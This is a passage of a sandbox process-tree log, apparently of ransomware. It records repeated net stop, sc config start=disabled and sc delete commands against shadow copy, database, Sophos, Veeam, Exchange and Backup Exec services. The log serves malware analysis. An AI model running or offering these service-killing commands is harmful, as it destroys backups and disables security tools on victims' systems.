    PID:1884
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop vss
    3⤵
    PID:4100
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop vss
      4⤵
      PID:1928
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config vss start=disabled
    3⤵
    PID:4308
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete vss
    3⤵
    PID:1580
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop vss
    3⤵
    PID:4516
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop vss
      4⤵
      PID:1540
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config vss start=disabled
    3⤵
    - Launches sc.exe
    PID:4016
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete vss
    3⤵
    - Launches sc.exe
    PID:3116
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop vss
    3⤵
    PID:2452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop vss
      4⤵
      PID:1276
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config vss start=disabled
    3⤵
    PID:4456
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete vss
    3⤵
    PID:4440
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql
    3⤵
    PID:4260
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql
      4⤵
      PID:3240
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql start=disabled
    3⤵
    PID:508
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql
    3⤵
    PID:3032
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql
    3⤵
    PID:3376
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql
      4⤵
      PID:3176
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql start=disabled
    3⤵
    PID:684
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql
    3⤵
    PID:2968
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql
    3⤵
    PID:1796
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql
      4⤵
      PID:3128
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql start=disabled
    3⤵
    - Launches sc.exe
    PID:2580
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql
    3⤵
    PID:4276
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql$
    3⤵
    PID:916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql$
      4⤵
      PID:2000
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql$ start=disabled
    3⤵
    - Launches sc.exe
    PID:2272
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql$
    3⤵
    PID:1284
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql$
    3⤵
    PID:164
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql$
      4⤵
      PID:852
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql$ start=disabled
    3⤵
    - Launches sc.exe
    PID:2408
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql$
    3⤵
    PID:3544
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql$
    3⤵
    PID:2452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql$
      4⤵
      PID:756
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql$ start=disabled
    3⤵
    PID:4996
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql$
    3⤵
    - Launches sc.exe
    PID:1276
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql
    3⤵
    PID:1052
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql
      4⤵
      PID:1116
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql start=disabled
    3⤵
    PID:4496
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql
    3⤵
    PID:4704
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql
    3⤵
    PID:3204
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql
      4⤵
      PID:2080
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql start=disabled
    3⤵
    - Launches sc.exe
    PID:4668
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql
    3⤵
    PID:4788
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql
    3⤵
    PID:3688
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql
      4⤵
      PID:276
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql start=disabled
    3⤵
    PID:684
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql
    3⤵
    PID:4572
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql$
    3⤵
    PID:4644
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql$
      4⤵
      PID:2184
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql$ start=disabled
    3⤵
    PID:1808
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql$
    3⤵
    PID:2400
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql$
    3⤵
    PID:224
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql$
      4⤵
      PID:2492
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql$ start=disabled
    3⤵
    PID:2692
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql$
    3⤵
    PID:4536
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql$
    3⤵
    PID:4016
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql$
      4⤵
      PID:4940
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql$ start=disabled
    3⤵
    PID:3020
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql$
    3⤵
    PID:3624
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop svc$
    3⤵
    PID:4384
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop svc$
      4⤵
      PID:3864
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config svc$ start=disabled
    3⤵
    PID:4292
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete svc$
    3⤵
    PID:4456
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop svc$
    3⤵
    PID:2532
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop svc$
      4⤵
      PID:1544
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config svc$ start=disabled
    3⤵
    - Launches sc.exe
    PID:544
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete svc$
    3⤵
    PID:1292
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop svc$
    3⤵
    PID:3816
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop svc$
      4⤵
      PID:3496
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config svc$ start=disabled
    3⤵
    PID:2080
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete svc$
    3⤵
    PID:3376
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop memtas
    3⤵
    PID:4676
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop memtas
      4⤵
      PID:2412
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config memtas start=disabled
    3⤵
    - Launches sc.exe
    PID:4640
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete memtas
    3⤵
    PID:3176
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop memtas
    3⤵
    PID:1928
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop memtas
      4⤵
      PID:4744
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config memtas start=disabled
    3⤵
    PID:1796
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete memtas
    3⤵
    PID:2744
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop memtas
    3⤵
    PID:4644
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop memtas
      4⤵
      PID:2428
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config memtas start=disabled
    3⤵
    PID:1184
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete memtas
    3⤵
    - Launches sc.exe
    PID:792
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mepocs
    3⤵
    PID:1348
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mepocs
      4⤵
      PID:3364
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mepocs start=disabled
    3⤵
    PID:4532
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mepocs
    3⤵
    PID:3956
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mepocs
    3⤵
    PID:852
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mepocs
      4⤵
      PID:3736
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mepocs start=disabled
    3⤵
    PID:4636
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mepocs
    3⤵
    PID:3676
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mepocs
    3⤵
    PID:5052
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mepocs
      4⤵
      PID:1052
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mepocs start=disabled
    3⤵
    - Launches sc.exe
    PID:756
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mepocs
    3⤵
    PID:2888
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sophos
    3⤵
    PID:508
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sophos
      4⤵
      PID:3632
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sophos start=disabled
    3⤵
    PID:932
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sophos
    3⤵
    PID:3496
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sophos
    3⤵
    PID:100
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sophos
      4⤵
      PID:4684
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sophos start=disabled
    3⤵
    - Launches sc.exe
    PID:4552
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sophos
    3⤵
    PID:3660
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sophos
    3⤵
    PID:4076
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sophos
      4⤵
      PID:4744
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sophos start=disabled
    3⤵
    PID:3184
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sophos
    3⤵
    PID:1344
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop veeam
    3⤵
    PID:2312
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop veeam
      4⤵
      PID:2184
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config veeam start=disabled
    3⤵
    - Launches sc.exe
    PID:916
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete veeam
    3⤵
    PID:3692
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop veeam
    3⤵
    PID:3116
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop veeam
      4⤵
      PID:2000
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config veeam start=disabled
    3⤵
    PID:2436
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete veeam
    3⤵
    PID:3196
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop veeam
    3⤵
    PID:5012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop veeam
      4⤵
      PID:1732
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config veeam start=disabled
    3⤵
    PID:1088
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete veeam
    3⤵
    PID:5008
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop backup
    3⤵
    PID:4120
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop backup
      4⤵
      PID:1508
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config backup start=disabled
    3⤵
    PID:400
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete backup
    3⤵
    PID:1276
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop backup
    3⤵
    PID:1644
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop backup
      4⤵
      PID:2620
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config backup start=disabled
    3⤵
    PID:1092
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete backup
    3⤵
    - Launches sc.exe
    PID:4312
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop backup
    3⤵
    PID:980
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop backup
      4⤵
      PID:964
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config backup start=disabled
    3⤵
    - Launches sc.exe
    PID:5040
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete backup
    3⤵
    PID:2980
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange
    3⤵
    PID:1004
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange
      4⤵
      PID:3176
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange start=disabled
    3⤵
    PID:4148
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange
    3⤵
    PID:296
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange
    3⤵
    PID:2912
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange
      4⤵
      PID:3688
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange start=disabled
    3⤵
    - Launches sc.exe
    PID:3928
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange
    3⤵
    PID:224
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange
    3⤵
    PID:4568
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange
      4⤵
      PID:2516
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange start=disabled
    3⤵
    PID:3984
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange
    3⤵
    PID:792
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange$
    3⤵
    PID:1772
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange$
      4⤵
      PID:2112
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange$ start=disabled
    3⤵
    PID:3016
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange$
    3⤵
    - Launches sc.exe
    PID:3780
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange$
    3⤵
    PID:1904
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange$
      4⤵
      PID:4384
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange$ start=disabled
    3⤵
    PID:4004
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange$
    3⤵
    PID:3328
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange$
    3⤵
    PID:116
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange$
      4⤵
      PID:4704
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange$ start=disabled
    3⤵
    PID:4496
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange$
    3⤵
    PID:1052
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop WSBExchange
    3⤵
    PID:4500
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WSBExchange
      4⤵
      PID:4564
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config WSBExchange start=disabled
    3⤵
    PID:3168
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete WSBExchange
    3⤵
    PID:4788
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop WSBExchange
    3⤵
    PID:432
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WSBExchange
      4⤵
      PID:1460
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config WSBExchange start=disabled
    3⤵
    PID:2992
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete WSBExchange
    3⤵
    - Launches sc.exe
    PID:4572
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop WSBExchange
    3⤵
    PID:4404
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WSBExchange
      4⤵
      PID:1796
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config WSBExchange start=disabled
    3⤵
    - Launches sc.exe
    PID:5028
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete WSBExchange
    3⤵
    PID:3852
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop PDVFSService
    3⤵
    PID:5072
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop PDVFSService
      4⤵
      PID:4056
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config PDVFSService start=disabled
    3⤵
    PID:548
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete PDVFSService
    3⤵
    PID:1576
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop PDVFSService
    3⤵
    PID:4512
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop PDVFSService
      4⤵
      PID:2000
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config PDVFSService start=disabled
    3⤵
    PID:3276
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete PDVFSService
    3⤵
    - Launches sc.exe
    PID:952
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop PDVFSService
    3⤵
    PID:4940
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop PDVFSService
      4⤵
      PID:4284
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config PDVFSService start=disabled
    3⤵
    PID:4116
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete PDVFSService
    3⤵
    PID:3888
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecVSSProvider
    3⤵
    PID:528
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecVSSProvider
      4⤵
      PID:3708
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecVSSProvider start=disabled
    3⤵
    PID:1508
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecVSSProvider
    3⤵
    PID:4520
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecVSSProvider
    3⤵
    PID:1276
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecVSSProvider
      4⤵
      PID:1260
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecVSSProvider start=disabled
    3⤵
    PID:1428
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecVSSProvider
    3⤵
    - Launches sc.exe
    PID:372
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecVSSProvider
    3⤵
    PID:3892
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecVSSProvider
      4⤵
      PID:932
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecVSSProvider start=disabled
    3⤵
    PID:3464
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecVSSProvider
    3⤵
    PID:3496
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentAccelerator
    3⤵
    PID:4788
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentAccelerator
      4⤵
      PID:432
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentAccelerator start=disabled
    3⤵
    PID:2980
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentAccelerator
    3⤵
    PID:5040
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentAccelerator
    3⤵
    PID:3660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentAccelerator
      4⤵
      PID:4148
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentAccelerator start=disabled
    3⤵
    PID:4992
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentAccelerator
    3⤵
    - Launches sc.exe
    PID:4696
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentAccelerator
    3⤵
    PID:1872
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentAccelerator
      4⤵
      PID:4056
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentAccelerator start=disabled
    3⤵
    PID:2448
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentAccelerator
    3⤵
    PID:4628
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentBrowser
    3⤵
    PID:4536
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser
      4⤵
      PID:2000
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentBrowser start=disabled
    3⤵
    - Launches sc.exe
    PID:3284
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentBrowser
    3⤵
    PID:4568
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentBrowser
    3⤵
    PID:4272
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser
      4⤵
      PID:4720
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentBrowser start=disabled
    3⤵
    - Launches sc.exe
    PID:5012
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentBrowser
    3⤵
    PID:2408
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentBrowser
    3⤵
    PID:4440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser
      4⤵
      PID:2204
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentBrowser start=disabled
    3⤵
    PID:3736
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentBrowser
    3⤵
    PID:3676
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecDiveciMediaService
    3⤵
    PID:2956
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecDiveciMediaService
      4⤵
      PID:2536
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecDiveciMediaService start=disabled
    3⤵
    PID:3848
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecDiveciMediaService
    3⤵
    PID:2888
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecDiveciMediaService
    3⤵
    PID:1544
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecDiveciMediaService
      4⤵
      PID:588
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecDiveciMediaService start=disabled
    3⤵
    PID:4496
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecDiveciMediaService
    3⤵
    PID:4936
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecDiveciMediaService
    3⤵
    PID:3464
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecDiveciMediaService
      4⤵
      PID:4816
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecDiveciMediaService start=disabled
    3⤵
    - Launches sc.exe
    PID:4168
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecDiveciMediaService
    3⤵
    PID:4444
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecJobEngine
    3⤵
    PID:2992
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecJobEngine
      4⤵
      PID:4976
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecJobEngine start=disabled
    3⤵
    - Launches sc.exe
    PID:2456
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecJobEngine
    3⤵
    PID:1364
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecJobEngine
    3⤵
    PID:4744
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecJobEngine
      4⤵
      PID:296
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecJobEngine start=disabled
    3⤵
    PID:1540
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecJobEngine
    3⤵
    PID:1132
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecJobEngine
    3⤵
    PID:3604
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecJobEngine
      4⤵
      PID:3512
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecJobEngine start=disabled
    3⤵
    PID:2836
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecJobEngine
    3⤵
    PID:548
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecManagementService
    3⤵
    PID:3692
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecManagementService
      4⤵
      PID:3976
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecManagementService start=disabled
    3⤵
    - Launches sc.exe
    PID:2272
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecManagementService
    3⤵
    PID:2000
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecManagementService
    3⤵
    PID:3544
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecManagementService
      4⤵
      PID:4720
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecManagementService start=disabled
    3⤵
    PID:1136
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecManagementService
    3⤵
    PID:4476
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecManagementService
    3⤵
    PID:4844
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecManagementService
      4⤵
      PID:1732
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecManagementService start=disabled
    3⤵
    PID:4036
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecManagementService
    3⤵
    - Launches sc.exe
    PID:4228
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecRPCService
    3⤵
    PID:4224
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecRPCService
      4⤵
      PID:3848
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecRPCService start=disabled
    3⤵
    PID:1260
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecRPCService
    3⤵
    PID:3032
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecRPCService
    3⤵
    PID:4332
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecRPCService
      4⤵
      PID:3892
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecRPCService start=disabled
    3⤵
    PID:2484
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecRPCService
    3⤵
    PID:588
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecRPCService
    3⤵
    PID:4640
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecRPCService
      4⤵
      PID:1060
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecRPCService start=disabled
    3⤵
    PID:4168
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecRPCService
    3⤵
    PID:1740
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxBlr
    3⤵
    PID:5032
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxBlr
      4⤵
      PID:4968
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxBlr start=disabled
    3⤵
    - Launches sc.exe
    PID:3776
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxBlr
    3⤵
    PID:3660
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxBlr
    3⤵
    PID:3128
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxBlr
      4⤵
      PID:2668
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxBlr start=disabled
    3⤵
    PID:2580
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxBlr
    3⤵
    PID:4992
